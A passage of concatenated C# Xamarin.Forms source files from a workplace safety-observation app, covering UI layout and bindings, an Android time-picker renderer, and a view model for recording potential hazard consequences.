buttonAdministrativeNo.SetBinding(Button.TextColorProperty, nameof(ViewModel.ButtonAdministrativeNoTextColor));
buttonAdministrativeNo.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.ButtonAdministrativeNoBackgroundColor));
buttonWitnessYes.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonWitnessCommand));
buttonWitnessYes.SetBinding(Button.TextColorProperty, nameof(ViewModel.ButtonWitnessYesTextColor));
buttonWitnessYes.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.ButtonWitnessYesBackgroundColor));
buttonWitnessNo.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonWitnessCommand));
buttonWitnessNo.SetBinding(Button.TextColorProperty, nameof(ViewModel.ButtonWitnessNoTextColor));
buttonWitnessNo.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.ButtonWitnessNoBackgroundColor));
saveCancelView.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSaveCommand));
pickerDate.SetBinding(DatePicker.DateProperty, nameof(ViewModel.SelectedDate));
pickerTime.SetBinding(TimePicker.TimeProperty, nameof(ViewModel.SelectedTime));
pickerObservation.ItemsSource = PickerSources.SafetyObservations;
pickerObservation.SetBinding(Picker.SelectedItemProperty, nameof(ViewModel.SelectedObservation));
labelAdministrative.SetBinding(Label.TextProperty, nameof(ViewModel.AdminAreaText));
tapAdministrative.SetBinding(TapGestureRecognizer.CommandProperty, nameof(ViewModel.TapAdministrativeCommand));
tapWitness.SetBinding(TapGestureRecognizer.CommandProperty, nameof(ViewModel.TapWitnessCommand));
#endregion
#region Fill Layouts
FillLayout();
#endregion
}
private void PickerObservation_Unfocused(object sender, FocusEventArgs e)
{
ViewModel.ShowHideTechnicalPopUp(pickerObservation);
}
#region FillLayout and inisialise View's
private void FillLayout()
{
stackDate.Children.Add(labelDate);
stackDate.Children.Add(roundedPickerDate);
stackDate.Children.Add(labelTitleOfObservation);
stackTime.Children.Add(labelTime);
stackTime.Children.Add(roundedPickerTime);
stackDateTime.Children.Add(stackDate);
stackDateTime.Children.Add(stackTime);
stackAdministrative.Children.Add(labelAdministrative);
stackAdministrative.Children.Add(imageAdministrative);
stackWitness.Children.Add(labelWitness);
stackWitness.Children.Add(imageWitness);
grid.Children.Add(stackAdministrative, 0, 3, 0, 1);
grid.Children.Add(buttonAdministrativeYes, 0, 1);
grid.Children.Add(buttonAdministrativeNo, 2, 1);
grid.Children.Add(separator, 0, 3, 2, 3);
grid.Children.Add(stackWitness, 0, 3, 3, 4);
grid.Children.Add(roundedEntryWitness, 0, 3, 3, 4);
grid.Children.Add(buttonWitnessYes, 0, 4);
grid.Children.Add(buttonWitnessNo, 2, 4);
stackMain.Children.Add(stepBar);
stackMain.Children.Add(stackDateTime);
stackMain.Children.Add(roundedPickerObservation);
stackMain.Children.Add(roundedGrid);
stackMain.Children.Add(buttonImageNext);
stackMain.Children.Add(saveCancelView);
scrollView.Content = stackMain;
Content = scrollView;
}
#endregion
#region Initialise View's
private void InitialiseLayouts()
{
stackTime = new CustomStackLayout();
stackDate = new CustomStackLayout();
stackDateTime = new CustomStackLayout();
stackDateTime.Orientation = StackOrientation.Horizontal;
stackDateTime.WidthRequest = ScreenWidth * 0.740;
stackDateTime.HorizontalOptions = LayoutOptions.Center;
stackDateTime.Spacing = ScreenWidth * 0.060;
stackAdministrative = CreateStack();
stackWitness = CreateStack();
grid = CreateGrid();
roundedGrid = CreateRoundedView(grid);
saveCancelView = new SaveCancelView();
stackMain = new CustomStackLayout();
stackMain.Spacing = ScreenHeight * 0.035;
stackMain.HorizontalOptions = LayoutOptions.CenterAndExpand;
stackMain.WidthRequest = ScreenWidth * 0.800;
scrollView = new CustomScrollView();
scrollView.HorizontalOptions = LayoutOptions.Center;
scrollView.WidthRequest = ScreenWidth * 0.800;
}
private void InitialiseLables()
{
labelDate = CreateLabel(AppResources.Date, AppSetting.Current.Colors.GrayColor, AppSetting.Current.FontSize.Medium);
labelDate.HorizontalOptions = LayoutOptions.Start;
labelDate.Margin = new Thickness(8, 0, 0, 5);
labelTime = CreateLabel(AppResources.Time, AppSetting.Current.Colors.GrayColor, AppSetting.Current.FontSize.Medium);
labelTime.HorizontalOptions = LayoutOptions.Start;
labelTime.Margin = new Thickness(8, 0, 0, 5);
labelTitleOfObservation = CreateLabel(AppResources.TitleOfObservation, AppSetting.Current.Colors.GrayColor, AppSetting.Current.FontSize.Medium);
labelTitleOfObservation.Margin = new Thickness(8, ScreenHeight * 0.035, 0, 0);
labelAdministrative = CreateLabel(AppResources.AdministrativeArea, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium);
labelAdministrative.TextColor = AppSetting.Current.Colors.FontBlueColor;
labelAdministrative.FontSize = AppSetting.Current.FontSize.Medium;
labelAdministrative.Margin = new Thickness(8, 8, 0, 0);
labelAdministrative.HorizontalTextAlignment = TextAlignment.Start;
labelAdministrative.VerticalOptions = LayoutOptions.Center;
labelWitness = CreateLabel(AppResources.AmIWitness, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Large);
labelWitness.Margin = new Thickness(0, 8, 0, 0);
labelWitness.TextColor = AppSetting.Current.Colors.FontBlueColor;
labelWitness.FontSize = AppSetting.Current.FontSize.Medium;
labelWitness.HorizontalTextAlignment = TextAlignment.Start;
labelWitness.VerticalOptions = LayoutOptions.Center;
}
private void InitialisePickers()
{
pickerObservation = new CustomPicker
{
HorizontalOptions = LayoutOptions.FillAndExpand,
FontSize = AppSetting.Current.FontSize.Medium,
WidthRequest = ScreenWidth * 0.740,
Image = Images.DownArrow
};
pickerDate = new CustomDatePicker
{
HorizontalOptions = LayoutOptions.FillAndExpand,
FontSize = AppSetting.Current.FontSize.Medium,
TextColor = AppSetting.Current.Colors.FontBlueColor,
WidthRequest = ScreenWidth * 0.340,
IsThin = true,
};
roundedPickerDate = CreateRoundedView(pickerDate);
roundedPickerDate.HorizontalOptions = LayoutOptions.FillAndExpand;
pickerTime = new CustomTimePicker
{
HorizontalOptions = LayoutOptions.FillAndExpand,
FontSize = AppSetting.Current.FontSize.Medium,
TextColor = AppSetting.Current.Colors.FontBlueColor,
WidthRequest = ScreenWidth * 0.340,
IsThin = true,
};
roundedPickerTime = CreateRoundedView(pickerTime);
}
private void InitialiseButtons()
{
// Buttons
buttonAdministrativeYes = CreateGridButtons(AppResources.Yes,true);
buttonAdministrativeNo = CreateGridButtons(AppResources.No, false);
buttonWitnessYes = CreateGridButtons(AppResources.Yes, true);
buttonWitnessNo = CreateGridButtons(AppResources.No, false);
buttonImageNext = CreateImageButton(AppResources.Next, Images.NextImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageNext.button.HeightRequest = ScreenHeight * 0.065;
buttonImageNext.button.WidthRequest = ScreenWidth * 0.800;
buttonImageNext.image.HeightRequest = ScreenHeight * 0.040;
buttonImageNext.image.WidthRequest = ScreenHeight * 0.040;
}
#endregion
#region creating View's
private Image CreateImage()
{
var image = new Image()
{
Source = Images.QuestionImage,
HorizontalOptions = LayoutOptions.Start,
VerticalOptions = LayoutOptions.Center,
WidthRequest = ScreenWidth * 0.050,
HeightRequest = ScreenWidth * 0.050
};
return image;
}
private RoundedView CreateRoundedView(View view)
{
var roundedView = new RoundedView(view);
roundedView.frame.CornerRadius = 5;
roundedView.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
return roundedView;
}
private CustomButton CreateGridButtons(string text,bool commandParameter)
{
var btn = new CustomButton();
btn.FontSize = AppSetting.Current.FontSize.Medium;
btn.BorderColor = AppSetting.Current.Colors.OrangeColor;
btn.BorderWidth = 1;
btn.CornerRadius = 5;
btn.Text = text;
btn.WidthRequest = ScreenWidth * 0.220;
btn.HeightRequest = ScreenHeight * 0.060;
btn.CommandParameter = commandParameter;
btn.HorizontalOptions = LayoutOptions.Center;
btn.VerticalOptions = LayoutOptions.Center;
return btn;
}
private CustomStackLayout CreateStack()
{
var stack = new CustomStackLayout();
stack.Orientation = StackOrientation.Horizontal;
stack.Spacing = 10;
stack.HorizontalOptions = LayoutOptions.Center;
stack.VerticalOptions = LayoutOptions.Center;
return stack;
}
private CustomGrid CreateGrid()
{
var gridLocal = new CustomGrid
{
WidthRequest = ScreenWidth * 0.800,
HorizontalOptions = LayoutOptions.Center,
RowDefinitions =
{
new RowDefinition { Height = ScreenHeight * 0.060},
new RowDefinition { Height = ScreenHeight * 0.080},
new RowDefinition { Height = ScreenHeight * 0.020},
new RowDefinition { Height = ScreenHeight * 0.060},
new RowDefinition { Height = ScreenHeight * 0.080},
new RowDefinition {Height = ScreenHeight * 0.010}
},
ColumnDefinitions =
{
new ColumnDefinition {Width = ScreenWidth * 0.300},
new ColumnDefinition {Width = ScreenWidth * 0.200},
new ColumnDefinition {Width = ScreenWidth * 0.300},
}
};
return gridLocal;
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.FontSize = AppSetting.Current.FontSize.Small;
lbl.TextColor = AppSetting.Current.Colors.LabelsColors;
return lbl;
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.FontSize = AppSetting.Current.FontSize.Large;
btn.FontAttributes = FontAttributes.Bold;
btn.VerticalOptions = LayoutOptions.Start;
return btn;
}
#endregion
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Graphics;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Helpers.CustomControls;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(CustomTimePicker), typeof(CustomTimePickerRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomTimePickerRenderer : TimePickerRenderer
{
public CustomTimePickerRenderer(Context context) : base(context)
{
}
protected override void OnElementChanged(ElementChangedEventArgs<TimePicker> e)
{
base.OnElementChanged(e);
Control?.SetBackgroundColor(Android.Graphics.Color.Transparent);
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
var pickerElement = (CustomTimePicker)sender;
if (Control != null)
{
if (pickerElement.IsThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Models;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class PotentialConsequencesPageViewModel : BaseViewModel
{
private string consequence;
private string selectedConsequence;
private SafetyObservation safetyObservation;
private string selecteStripFall;
private Color backgroundColorStripFall, striplabelsColors;
private bool isEnabledStrip;
private string stripFallSourse;
private bool isThinstripAttributes;
private string selectedErgonomy;
private Color backgroundColorErgonomy, ergonomylabelsColors;
private bool isEnabledErgonomy;
private string ergonomySourse;
private bool isThinergonomyAttributes;
private string selectedMachines;
private Color backgroundColorMachines, machineslabelsColors;
private bool isEnabledMachines;
private string machinesSourse;
private bool isThinmachinesAttributes;
private string selectedObjects;
private Color backgroundColorObjects, objectslabelsColors;
private bool isEnabledObjects;
private string objectsSourse;
private bool isThinobjectsAttributes;
private string selectedBioExposure;
private Color backgroundColorBioExposure, bioExposurelabelsColors;
private bool isEnabledBioExposure;
private string bioExsposureSourse;
private bool isThinbioExsposureAttributes;
private string selectedWorkingEnv;
private Color backgroundColorWorkingEnv, workingEnvlabelsColors;
private bool isEnabledWorkingEnv;
private string workingEnvSourse;
private bool isThinworkingEnvAttributes;
private string selectedChemicalExposure;
private Color backgroundColorChemicalExposure, chemicalExposurelabelsColors;
private bool isEnabledChemicalExposure;
private string chemicalExsposureSourse;
private bool isThinchemicalExsposureAttributes;
private string selectedHotColdSubstance;
private Color backgroundColorHotColdSubstance, hotColdSubstancelabelsColors;
private bool isEnabledHotColdSubstance;
private string hotColdSubstanceSourse;
private bool isThinhotColdSubstanceAttributes;
private string selectedHotSurface;
private Color backgroundColorHHotSurface, hotSurfacelabelsColors;
private bool isEnabledHotSurface;
private string hotSurfaceSourse;
private bool isThinhotSurfaceAttributes;
#region Properties
//Machines
public bool IsThinmachinesAttributes
{
get { return isThinmachinesAttributes; }
set
{
if (isThinmachinesAttributes != value)
{
isThinmachinesAttributes = value;
OnPropertyChanged(nameof(IsThinmachinesAttributes));
}
}
}
public string MachinesSource
{
get { return machinesSourse; }
set
{
if (machinesSourse != value)
{
machinesSourse = value;
OnPropertyChanged(nameof(MachinesSource));
}
}
}
public bool IsEnabledMachines
{
get { return isEnabledMachines; }
set
{
if (isEnabledMachines != value)
{
isEnabledMachines = value;
OnPropertyChanged(nameof(IsEnabledMachines));
}
}
}
public string SelectedMachines
{
get { return selectedMachines; }
set
{
if (selectedMachines != value)
{
selectedMachines = value;
OnPropertyChanged(nameof(SelectedMachines));
}
}
}
public Color MachineslabelsColors
{
get { return machineslabelsColors; }
set
{
if (machineslabelsColors != value)
{
machineslabelsColors = value;
OnPropertyChanged(nameof(MachineslabelsColors));
}
}
}
public Color BackgroundColorMachines
{
get { return backgroundColorMachines; }
set
{
if (backgroundColorMachines != value)
{
backgroundColorMachines = value;
OnPropertyChanged(nameof(BackgroundColorMachines));
}
}
}
//**********************************************************************
//HotSurface
public bool IsThinHotSurfaceAttributes
{
get { return isThinhotSurfaceAttributes; }
set
{
if (isThinhotSurfaceAttributes != value)
{
isThinhotSurfaceAttributes = value;
OnPropertyChanged(nameof(IsThinHotSurfaceAttributes));
}
}
}
public string HotSurfaceSource
{
get { return hotSurfaceSourse; }
set
{
if (hotSurfaceSourse != value)
{
hotSurfaceSourse = value;
OnPropertyChanged(nameof(HotSurfaceSource));
}
}
}
public bool IsEnabledHotSurface
{
get { return isEnabledHotSurface; }
set
{
if (isEnabledHotSurface != value)
{
isEnabledHotSurface = value;
OnPropertyChanged(nameof(IsEnabledHotSurface));
}
}
}
public string SelectedHotSurface
{
get { return selectedHotSurface; }
set
{
if (selectedHotSurface != value)
{
selectedHotSurface = value;
OnPropertyChanged(nameof(SelectedHotSurface));
}
}
}
public Color HotSurfacelabelsColors
{
get { return hotSurfacelabelsColors; }
set
{
if (hotSurfacelabelsColors != value)
{
hotSurfacelabelsColors = value;
OnPropertyChanged(nameof(HotSurfacelabelsColors));
}
}
}
public Color BackgroundColorHHotSurface
{
get { return backgroundColorHHotSurface; }
set
{
if (backgroundColorHHotSurface != value)
{
backgroundColorHHotSurface = value;
OnPropertyChanged(nameof(BackgroundColorHHotSurface));
}
}
}
//**********************************************************************
//HotColdSubstance
public bool IsThinHotColdSubstanceAttributes
{
get { return isThinhotColdSubstanceAttributes; }
set
{
if (isThinhotColdSubstanceAttributes != value)
{
isThinhotColdSubstanceAttributes = value;
OnPropertyChanged(nameof(IsThinHotColdSubstanceAttributes));
}
}
}
public string HotColdSubstanceSource
{
get { return hotColdSubstanceSourse; }
set
{
if (hotColdSubstanceSourse != value)
{
hotColdSubstanceSourse = value;
OnPropertyChanged(nameof(HotColdSubstanceSource));
}
}
}
public bool IsEnabledHotColdSubstance
{
get { return isEnabledHotColdSubstance; }
set
{
if (isEnabledHotColdSubstance != value)
{
isEnabledHotColdSubstance = value;
OnPropertyChanged(nameof(IsEnabledHotColdSubstance));
}
}
}
public string SelectedHotColdSubstance
{
get { return selectedHotColdSubstance; }
set
{
if (selectedHotColdSubstance != value)
{
selectedHotColdSubstance = value;
OnPropertyChanged(nameof(SelectedHotColdSubstance));
}
}
}
public Color HotColdSubstancelabelsColors
{
get { return hotColdSubstancelabelsColors; }
set
{
if (hotColdSubstancelabelsColors != value)
{
hotColdSubstancelabelsColors = value;
OnPropertyChanged(nameof(HotColdSubstancelabelsColors));
}
}
}
public Color BackgroundColorHotColdSubstance
{
get { return backgroundColorHotColdSubstance; }
set
{
if (backgroundColorHotColdSubstance != value)
{
backgroundColorHotColdSubstance = value;
OnPropertyChanged(nameof(BackgroundColorHotColdSubstance));
}
}
}
//**********************************************************************
//ChemicalExsposure
public bool IsThinChemicalExsposureAttributes
{
get { return isThinchemicalExsposureAttributes; }
set
{
if (isThinchemicalExsposureAttributes != value)
{
isThinchemicalExsposureAttributes = value;
OnPropertyChanged(nameof(IsThinChemicalExsposureAttributes));
}
}
}
public string ChemicalExsposureSource
{
get { return chemicalExsposureSourse; }
set
{
if (chemicalExsposureSourse != value)
{
chemicalExsposureSourse = value;
OnPropertyChanged(nameof(ChemicalExsposureSource));
}
}
}
public bool IsEnabledChemicalExposure
{
get { return isEnabledChemicalExposure; }
set
{
if (isEnabledChemicalExposure != value)
{
isEnabledChemicalExposure = value;
OnPropertyChanged(nameof(IsEnabledChemicalExposure));
}
}
}
public string SelectedChemicalExposure
{
get { return selectedChemicalExposure; }
set
{
if (selectedChemicalExposure != value)
{
selectedChemicalExposure = value;
OnPropertyChanged(nameof(SelectedChemicalExposure));
}
}
}
public Color ChemicalExposurelabelsColors
{
get { return chemicalExposurelabelsColors; }
set
{
if (chemicalExposurelabelsColors != value)
{
chemicalExposurelabelsColors = value;
OnPropertyChanged(nameof(ChemicalExposurelabelsColors));
}
}
}
public Color BackgroundColorChemicalExposure
{
get { return backgroundColorChemicalExposure; }
set
{
if (backgroundColorChemicalExposure != value)
{
backgroundColorChemicalExposure = value;
OnPropertyChanged(nameof(BackgroundColorChemicalExposure));
}
}
}
//**********************************************************************
//WorkingEnvironment
public bool IsThinWorkingEnvironmentAttributes
{
get { return isThinworkingEnvAttributes; }
set
{
if (isThinworkingEnvAttributes != value)
{
isThinworkingEnvAttributes = value;
OnPropertyChanged(nameof(IsThinWorkingEnvironmentAttributes));
}
}
}
public string WorkingEnvironmentSource
{
get { return workingEnvSourse; }
set
{
if (workingEnvSourse != value)
{
workingEnvSourse = value;
OnPropertyChanged(nameof(WorkingEnvironmentSource));
}
}
}
public bool IsEnabledWorkingEnv
{
get { return isEnabledWorkingEnv; }
set
{
if (isEnabledWorkingEnv != value)
{
isEnabledWorkingEnv = value;
OnPropertyChanged(nameof(IsEnabledWorkingEnv));
}
}
}
public string SelectedWorkingEnv
{
get { return selectedWorkingEnv; }
set
{
if (selectedWorkingEnv != value)
{
selectedWorkingEnv = value;
OnPropertyChanged(nameof(SelectedWorkingEnv));
}
}
}
public Color WorkingEnvlabelsColors
{
get { return workingEnvlabelsColors; }
set
{
if (workingEnvlabelsColors != value)
{
workingEnvlabelsColors = value;
OnPropertyChanged(nameof(WorkingEnvlabelsColors));
}
}
}
public Color BackgroundColorWorkingEnv
{
get { return backgroundColorWorkingEnv; }
set
{
if (backgroundColorWorkingEnv != value)
{
backgroundColorWorkingEnv = value;
OnPropertyChanged(nameof(BackgroundColorWorkingEnv));
}
}
}
//**********************************************************************
//BioExposure
public bool IsThinBioExposureAttributes
{
get { return isThinbioExsposureAttributes; }
set
{
if (isThinbioExsposureAttributes != value)
{
isThinbioExsposureAttributes = value;
OnPropertyChanged(nameof(IsThinBioExposureAttributes));
}
}
}
public string BioExposureSource
{
get { return bioExsposureSourse; }
set
{
if (bioExsposureSourse != value)
{
bioExsposureSourse = value;
OnPropertyChanged(nameof(BioExposureSource));
}
}
}
public bool IsEnabledBioExposure
{
get { return isEnabledBioExposure; }
set
{
if (isEnabledBioExposure != value)
{
isEnabledBioExposure = value;
OnPropertyChanged(nameof(IsEnabledBioExposure));
}
}
}
public string SelectedBioExposure
{
get { return selectedBioExposure; }
set
{
if (selectedBioExposure != value)
{
selectedBioExposure = value;
OnPropertyChanged(nameof(SelectedBioExposure));
}
}
}
public Color BioExposurelabelsColors
{
get { return bioExposurelabelsColors; }
set
{
if (bioExposurelabelsColors != value)
{
bioExposurelabelsColors = value;
OnPropertyChanged(nameof(BioExposurelabelsColors));
}
}
}
public Color BackgroundColorBioExposure
{
get { return backgroundColorBioExposure; }
set
{
if (backgroundColorBioExposure != value)
{
backgroundColorBioExposure = value;
OnPropertyChanged(nameof(BackgroundColorBioExposure));
}
}
}
//**********************************************************************
//Objects
public bool IsThinObjectsAttributes
{
get { return isThinobjectsAttributes; }
set
{
if (isThinobjectsAttributes != value)
{
isThinobjectsAttributes = value;
OnPropertyChanged(nameof(IsThinObjectsAttributes));
}
}
}
public string ObjectsSource
{
get { return objectsSourse; }
set
{
if (objectsSourse != value)
{
objectsSourse = value;
OnPropertyChanged(nameof(ObjectsSource));
}
}
}
public bool IsEnabledObjects
{
get { return isEnabledObjects; }
set
{
if (isEnabledObjects != value)
{
isEnabledObjects = value;
OnPropertyChanged(nameof(IsEnabledObjects));
}
}
}
public string SelectedObjects
{
get { return selectedObjects; }
set
{
if (selectedObjects != value)
{
selectedObjects = value;
OnPropertyChanged(nameof(SelectedObjects));
}
}
}
public Color ObjectslabelsColors
{
get { return objectslabelsColors; }
set
{
if (objectslabelsColors != value)
{
objectslabelsColors = value;
OnPropertyChanged(nameof(ObjectslabelsColors));
}
}
}
public Color BackgroundColorObjects
{
get { return backgroundColorObjects; }
set
{
if (backgroundColorObjects != value)
{
backgroundColorObjects = value;
OnPropertyChanged(nameof(BackgroundColorObjects));
}
}
}
//**********************************************************************
//Ergonomy
public bool IsThinErgonomyAttributes
{
get { return isThinergonomyAttributes; }
set
{
if (isThinergonomyAttributes != value)
{
isThinergonomyAttributes = value;
OnPropertyChanged(nameof(IsThinErgonomyAttributes));
}
}
}
public string ErgonomySource
{
get { return ergonomySourse; }
set
{
if (ergonomySourse != value)
{
ergonomySourse = value;
OnPropertyChanged(nameof(ErgonomySource));
}
}
}
public bool IsEnabledErgonomy
{
get { return isEnabledErgonomy; }
set
{
if (isEnabledErgonomy != value)
{
isEnabledErgonomy = value;
OnPropertyChanged(nameof(IsEnabledErgonomy));
}
}
}
public string SelectedErgonomy
{
get { return selectedErgonomy; }
set
{
if (selectedErgonomy != value)
{
selectedErgonomy = value;
OnPropertyChanged(nameof(SelectedErgonomy));
}
}
}
public Color ErgonomylabelsColors
{
get { return ergonomylabelsColors; }
set
{
if (ergonomylabelsColors != value)
{
ergonomylabelsColors = value;
OnPropertyChanged(nameof(ErgonomylabelsColors));
}
}
}
public Color BackgroundColorErgonomy
{
get { return backgroundColorErgonomy; }
set
{
if (backgroundColorErgonomy != value)
{
backgroundColorErgonomy = value;
OnPropertyChanged(nameof(BackgroundColorErgonomy));
}
}
}
//**********************************************************************
//Strip
public bool IsThinStripAttributes
{
get { return isThinstripAttributes; }
set
{
if (isThinstripAttributes != value)
{
isThinstripAttributes = value;
OnPropertyChanged(nameof(IsThinStripAttributes));
}
}
}
public string StripFallSource
{
get { return stripFallSourse; }
set
{
if (stripFallSourse != value)
{
stripFallSourse = value;
OnPropertyChanged(nameof(StripFallSource));
}
}
}
public bool IsEnabledStrip
{
get { return isEnabledStrip; }
set
{
if (isEnabledStrip != value)
{
isEnabledStrip = value;
OnPropertyChanged(nameof(IsEnabledStrip));
}
}
}
public string SelectedStripFall
{
get { return selecteStripFall; }
set
{
if (selecteStripFall != value)
{
selecteStripFall = value;
OnPropertyChanged(nameof(SelectedStripFall));
}
}
}
public Color StripLabelsColors
{
get { return striplabelsColors; }
set
{
if (striplabelsColors != value)
{
striplabelsColors = value;
OnPropertyChanged(nameof(StripLabelsColors));
}
}
}
public Color BackgroundColorStripFall
{
get { return backgroundColorStripFall; }
set
{
if (backgroundColorStripFall != value)
{
backgroundColorStripFall = value;
OnPropertyChanged(nameof(BackgroundColorStripFall));
}
}
}
//**********************************************************************
#endregion
public ICommand ConsequencesComand { get; private set; }
public ICommand SaveComand { get; private set; }
public ICommand NextCommand { get; private set; }
public PotentialConsequencesPageViewModel(SafetyObservation _safetyObservation)
{
SetInitialElements();
safetyObservation = _safetyObservation;
if (safetyObservation != null)
{
if (!string.IsNullOrEmpty(safetyObservation.Situation))
{
var consequences = safetyObservation.Situation.Split(',').ToList();
consequence = consequences[0];
selectedConsequence = consequences[1];
SelectConsequence(consequence, selectedConsequence);
}
}
SaveComand = new Command(async () => await Save());
NextCommand = new Command(async () => await Next());
ConsequencesComand = new Command<ConsequencesEnum>(async (ConsequencesEnum obj) => await HandlePopUpClick(obj));
App.MessageHub.SubscribeWithParameter(Messages.Consequences, async (sender, args) =>
{
await GetSelecteditem((SelectedConsequences)args);
});
}
private async Task Next()
{
Populate();
await NavigateToAsync(new ImagesOfObservationPage(new ImagesOfObservationPageViewModel(safetyObservation)));
}
private async Task Save()
{
try
{
Populate();
if (safetyObservation != null && safetyObservation.ID > 0)
{
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
else
{
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.PotentialConsequences, "Saved!"));
}
catch (Exception ex)
{
Debug.WriteLine("Error:" + ex);
}
}
private void Populate()
{
safetyObservation.Situation = consequence + "," + selectedConsequence;
}
private void SetInitialElements()
{
var enabled = true;
BackgroundColorStripFall = AppSetting.Current.Colors.EntryBackroundColor;
StripLabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledStrip = enabled;
StripFallSource = Images.RadionUncheckedImage;
IsThinStripAttributes = true;
BackgroundColorErgonomy = AppSetting.Current.Colors.EntryBackroundColor;
ErgonomylabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledErgonomy = enabled;
ErgonomySource = Images.RadionUncheckedImage;
IsThinErgonomyAttributes = true;
BackgroundColorMachines = AppSetting.Current.Colors.EntryBackroundColor;
MachineslabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledMachines = enabled;
MachinesSource = Images.RadionUncheckedImage;
IsThinmachinesAttributes = true;
BackgroundColorObjects = AppSetting.Current.Colors.EntryBackroundColor;
ObjectslabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledObjects = enabled;
ObjectsSource = Images.RadionUncheckedImage;
IsThinObjectsAttributes = true;
BackgroundColorBioExposure = AppSetting.Current.Colors.EntryBackroundColor;
BioExposurelabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledBioExposure = enabled;
BioExposureSource = Images.RadionUncheckedImage;
IsThinBioExposureAttributes = true;
BackgroundColorWorkingEnv = AppSetting.Current.Colors.EntryBackroundColor;
WorkingEnvlabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledWorkingEnv = enabled;
WorkingEnvironmentSource = Images.RadionUncheckedImage;
IsThinWorkingEnvironmentAttributes = true;
BackgroundColorChemicalExposure = AppSetting.Current.Colors.EntryBackroundColor;
ChemicalExposurelabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledChemicalExposure = enabled;
ChemicalExsposureSource = Images.RadionUncheckedImage;
IsThinChemicalExsposureAttributes = true;
BackgroundColorHotColdSubstance = AppSetting.Current.Colors.EntryBackroundColor;
HotColdSubstancelabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledHotColdSubstance = enabled;
HotColdSubstanceSource = Images.RadionUncheckedImage;
IsThinHotColdSubstanceAttributes = true;
BackgroundColorHHotSurface = AppSetting.Current.Colors.EntryBackroundColor;
HotSurfacelabelsColors = AppSetting.Current.Colors.FontBlueColor;
isEnabledHotSurface = enabled;
HotSurfaceSource = Images.RadionUncheckedImage;
IsThinHotSurfaceAttributes = true;
}
private async Task GetSelecteditem(SelectedConsequences selectedConsequences)
{
var backgroundColor = AppSetting.Current.Colors.PotentialConsequencesSelectedColor;
var labelColors = AppSetting.Current.Colors.FontBlueColor;
SetInitialElements();
ResetSelectedITEMS();
switch (selectedConsequences.Consequences)
{
case ConsequencesEnum.StripTripFails:
SelectedStripFall = selectedConsequences.SelectedConsequence;
BackgroundColorStripFall = backgroundColor;
StripLabelsColors = labelColors;
DisableAllButtons();
IsEnabledStrip = true;
consequence = AppResources.StripTripFails;
selectedConsequence = selectedConsequences.SelectedConsequence;
StripFallSource = Images.RadioCheckedImage;
IsThinStripAttributes = false;
break;
case ConsequencesEnum.Ergonomy:
SelectedErgonomy = selectedConsequences.SelectedConsequence;
BackgroundColorErgonomy = backgroundColor;
ErgonomylabelsColors = labelColors;
DisableAllButtons();
IsEnabledErgonomy = true;
consequence = AppResources.Ergonomy;
selectedConsequence = selectedConsequences.SelectedConsequence;
ErgonomySource = Images.RadioCheckedImage;
IsThinErgonomyAttributes = false;
break;
case ConsequencesEnum.MachineToolsSharp:
SelectedMachines = selectedConsequences.SelectedConsequence;
BackgroundColorMachines = backgroundColor;
MachineslabelsColors = labelColors;
DisableAllButtons();
IsEnabledMachines = true;
consequence = AppResources.MachineToolsSharp;
selectedConsequence = selectedConsequences.SelectedConsequence;
MachinesSource = Images.RadioCheckedImage;
IsThinmachinesAttributes = false;
break;
case ConsequencesEnum.ObjectsForeignBody:
SelectedObjects = selectedConsequences.SelectedConsequence;
BackgroundColorObjects = backgroundColor;
ObjectslabelsColors = labelColors;
DisableAllButtons();
IsEnabledObjects = true;
consequence = consequence = AppResources.ObjectsForeignBody;
selectedConsequence = selectedConsequences.SelectedConsequence;
ObjectsSource = Images.RadioCheckedImage;
IsThinObjectsAttributes = false;
break;
case ConsequencesEnum.BioExposure:
SelectedBioExposure = selectedConsequences.SelectedConsequence;
